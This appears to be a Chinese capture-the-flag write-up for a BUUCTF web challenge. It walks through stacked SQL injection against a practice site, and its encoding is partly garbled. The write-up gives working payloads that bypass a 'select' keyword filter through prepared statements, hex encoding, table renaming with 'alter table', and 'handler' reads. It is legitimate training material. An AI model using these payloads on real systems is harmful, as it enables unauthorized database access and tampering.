BUUCTF-WEB:[强网杯 2019]随便注 1
題目環(huán)境:http://de044ac0-9162-4b83-b6a6-8c99ce0efe91.node3.buuoj.cn
打開(kāi)環(huán)境:
嘗試注入:
解題思路:
1、先嘗試用union聯(lián)合注入:
第一步、測(cè)試注入點(diǎn)(一些小tips:利用引號(hào),and 1=1, or 1=1之類(lèi)的)判斷是字符型還是數(shù)字型
1'? ? ? ? ? ? ? ? ? ? ? ? ? ? ?[error]
1'#? ? ? ? ? ? ? ? ? ? ? ? ? ?[不報(bào)錯(cuò),正常回顯]
1' and 1=1#? ? ? ? ? ? ?[不報(bào)錯(cuò),正常回顯]
1' or?1=1#? ? ? ? ? ? ? ? [不報(bào)錯(cuò),正常回顯]
初步判定存在SQL注入
第二步、利用order by查表的列數(shù)
1' order by 1#? ? ? ? [不報(bào)錯(cuò),正常回顯]
1' order by 2#? ? ? ??[不報(bào)錯(cuò),正常回顯]
1' order by 3#? ? ? ? [error 1054 : Unknown column '3' in 'order clause']
得知這張表有三列
第三步、如有回顯,找到回顯位(回顯,就是顯示正在執(zhí)行的批處理命令及執(zhí)行的結(jié)果等)
1' union select 1,2#? ? ? [return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);]-----回顯了過(guò)濾的關(guān)鍵字(/i表示對(duì)大小寫(xiě)不敏感)
2、不能找到回顯位,接下來(lái)嘗試使用堆疊注入(就是通過(guò)?;分號(hào)注入多條SQL語(yǔ)句)
①通過(guò)show databases爆出數(shù)據(jù)庫(kù):1';show databases;#(執(zhí)行結(jié)果如下圖)
②用 show tables 嘗試爆表:1';show tables;#(發(fā)現(xiàn)有words和1919810931114514這兩張表)
③可以看到這里有兩個(gè)表,我們先嘗試爆words表中的內(nèi)容:1'; show columns from words; #
然后爆表 1919810931114514 中的內(nèi)容:1'; show columns from `1919810931114514`; #??
注意:表名為數(shù)字時(shí),要用反引號(hào)包起來(lái)查詢(xún)(反引號(hào)為英文狀態(tài)下的Tab上面那個(gè)鍵)
以上步驟可以發(fā)現(xiàn)爆出來(lái)了flag字段,然而我對(duì)于flag毫無(wú)辦法:
這里過(guò)濾了select,也沒(méi)有發(fā)現(xiàn)繞過(guò)select的地方(大小寫(xiě),加注釋)。
于是可以考慮一下報(bào)錯(cuò)注入,這里限制了update,那么就不用updatexml,用extractvalue
到這里可以查出簡(jiǎn)單的信息,但是過(guò)濾了select,似乎無(wú)法進(jìn)一步查表查列了。
可以看到1919810931114514表中有我們想要的flag字段,現(xiàn)在常規(guī)方法基本就結(jié)束了,要想獲得flag就必須來(lái)點(diǎn)騷姿勢(shì)了
借鑒一下大佬們的wp:大佬A、大佬B
繞過(guò)SELECT解題思路1:SQL預(yù)編譯
上一步我們可以得知flag存在于1919810931114514表的flag字段
接下來(lái)要讀取此字段內(nèi)的數(shù)據(jù),我們要執(zhí)行的目標(biāo)語(yǔ)句是:select * from `1919810931114514`;但是由上面步驟可知過(guò)濾了select關(guān)鍵字
這里需要繞過(guò)select的限制,我們可以使用SQL預(yù)編譯的方式:
直接上payload就懂了:
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#拆分開(kāi)來(lái)如下 -1'; set @sql = CONCAT('se','lect * from `1919810931114514`;'); prepare stmt from @sql; EXECUTE stmt; #
這里檢測(cè)到了set和prepare關(guān)鍵詞,但strstr這個(gè)函數(shù)并不能區(qū)分大小寫(xiě),我們將其大寫(xiě)即可。
payload改為:
獲得FLAG:
flag{916339c0-aa58-4f9e-827f-6489a2d3ff44}或者:
因?yàn)閟elect被過(guò)濾了,所以先將select * from `?1919810931114514?`進(jìn)行16進(jìn)制編碼
再通過(guò)構(gòu)造payload得
;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
進(jìn)而得到flag
- prepare…from…是預(yù)處理語(yǔ)句,會(huì)進(jìn)行編碼轉(zhuǎn)換。
- execute用來(lái)執(zhí)行由SQLPrepare創(chuàng)建的SQL語(yǔ)句。
- SELECT可以在一條語(yǔ)句里對(duì)多個(gè)變量同時(shí)賦值,而SET只能一次對(duì)一個(gè)變量賦值。
繞過(guò)SELECT解題思路2:更改表名列名
?雖然有強(qiáng)大的正則過(guò)濾,但沒(méi)有過(guò)濾alert和rename關(guān)鍵字
由上面的探測(cè)我們可以猜測(cè)出這里會(huì)查詢(xún)出words表的data列的結(jié)果。也就是類(lèi)似于下面的sql語(yǔ)句:
select * from words where id = '';反想一下,我們?nèi)绻麑⒈?919810931114514名字改為words,flag列名字改為id,那么我們就能得到flag的內(nèi)容了!
修改表名和列名的語(yǔ)法如下:
最終payload如下:先將原來(lái)的表words改為words1,將表1919810931114514名字改為words,flag列名字改為id
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#拆分開(kāi)來(lái)如下 1'; alter table words rename to words1; alter table `1919810931114514` rename to words; alter table words change flag id varchar(50); #然后使用1' or 1=1#即可查詢(xún)出flag(相當(dāng)于二次注入)
?
繞過(guò)SELECT解題思路3:handler語(yǔ)句代替select查詢(xún)
類(lèi)似題型:[2020i春秋抗疫賽] WEB blanklist(SQL堆疊注入、handler繞過(guò))
mysql除可使用select查詢(xún)表中的數(shù)據(jù),也可使用handler語(yǔ)句,這條語(yǔ)句使我們能夠一行一行的瀏覽一個(gè)表中的數(shù)據(jù),不過(guò)handler語(yǔ)句并不具備select語(yǔ)句的所有功能。它是mysql專(zhuān)用的語(yǔ)句,并沒(méi)有包含到SQL標(biāo)準(zhǔn)中。
語(yǔ)法結(jié)構(gòu):HANDLER tbl_name OPEN [ [AS] alias]HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)[ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }[ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ { FIRST | NEXT }[ WHERE where_condition ] [LIMIT ... ]HANDLER tbl_name CLOSE 如:通過(guò)handler語(yǔ)句查詢(xún)users表的內(nèi)容 handler users open as yunensec; #指定數(shù)據(jù)表進(jìn)行載入并將返回句柄重命名 handler yunensec read first; #讀取指定表/句柄的首行數(shù)據(jù) handler yunensec read next; #讀取指定表/句柄的下一行數(shù)據(jù) handler yunensec read next; #讀取指定表/句柄的下一行數(shù)據(jù) ... handler yunensec close; #關(guān)閉句柄本題payload如下:
1'; handler `1919810931114514` open as `a`; handler `a` read next;#?
?
總結(jié)
以上是生活随笔為你收集整理的BUUCTF-WEB:[强网杯 2019]随便注 1的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 【CyberSecurityLearni
- 下一篇: 面向大数据处理的数据流编程模型和工具综述